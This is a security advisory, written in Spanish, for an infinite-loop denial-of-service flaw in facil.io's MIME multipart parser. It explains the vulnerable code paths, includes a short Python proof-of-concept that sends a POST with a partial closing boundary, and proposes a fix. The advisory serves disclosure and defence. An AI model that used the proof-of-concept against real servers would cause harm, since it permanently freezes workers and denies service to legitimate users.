
Aviso de seguridad: Bucle infinito DoS en el analizador MIME de facil.io (límite parcial)
ID de CVE asignado: CVE-2026-66730
Producto: facil.io
Versiones afectadas: facil.io >= 0.6.0 (todas las 0.6.x, todas las 0.7.x, master); introducido junto con el analizador MIME en 0.6.0
Componente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Bucle con condición de salida inalcanzable), CWE-400 (Consumo no controlado de recursos)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Investigador: Theodosis Paidakis
Una solicitud multipart/form-data cuyo cuerpo termina con un delimitador de cierre parcial (p. ej., --B- en lugar de --B--\r\n) provoca que http_parse_body() se quede atrapado en un bucle infinito al 100 % de CPU. El analizador MIME devuelve 0 bytes consumidos cuando se atasca en un delimitador parcial, pero el bucle que lo invoca solo comprueba !done && !error. Ninguno de los dos indicadores se activa, por lo que vuelve a invocar al analizador con los mismos datos indefinidamente. El servidor no se bloquea, por lo que no se vuelve a crear ningún worker. Una única solicitud POST sin autenticación congela un worker de forma permanente.
Esto no está relacionado con CVE-2026-41146, que es un bucle infinito en el analizador JSON (fio_json_parser.h). Este error está en el analizador MIME/multipart.
Parte 1: Sin protección de progreso en el llamador
lib/facil/http/http.c, líneas 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
Si http_mime_parse devuelve 0 y no activa ni done ni error, p.pos permanece fijo, fiobj_data_pread devuelve el mismo buffer y el bucle no tiene salida.
Parte 2: Cuando http_mime_parse devuelve 0
lib/facil/http/parsers/http_mime_parser.h, líneas 314-329 y la rama consume_partial
El analizador escanea la sección de valor en busca de un delimitador completo. Cuando el cuerpo termina con \n--B- (cuatro bytes menos que un delimitador de cierre completo \n--B--\r\n), el escaneo encuentra \n seguido de lo que parece el inicio de un delimitador, pero no puede confirmar que esté completo:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
En la siguiente llamada, in_obj ya está activado. La rama consume_partial encuentra el mismo \n antes de --B- y, a continuación, retrocede el puntero de retorno hasta situarlo antes de cualquier dato no consumido:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos termina en el punto de inicio o antes. La función devuelve 0. De vuelta en el llamador, cons = 0, p.pos no avanza y el ciclo se repite.
Inicie el servidor y, a continuación, ejecute:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Observado: el proceso del servidor al 99,7-100 % de CPU. Se requiere kill -9 para recuperarse.
Un worker congelado nunca termina, por lo que no se vuelve a crear ningún worker. Con suficientes solicitudes (iguales al número de workers), el servidor deja de atender a todos los clientes de forma permanente hasta que se reinicia manualmente. No se requiere autenticación, ni cabeceras especiales, ni ningún estado previo.
Añada una protección de progreso al bucle en http_parse_body:
lib/facil/http/http.c, líneas 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);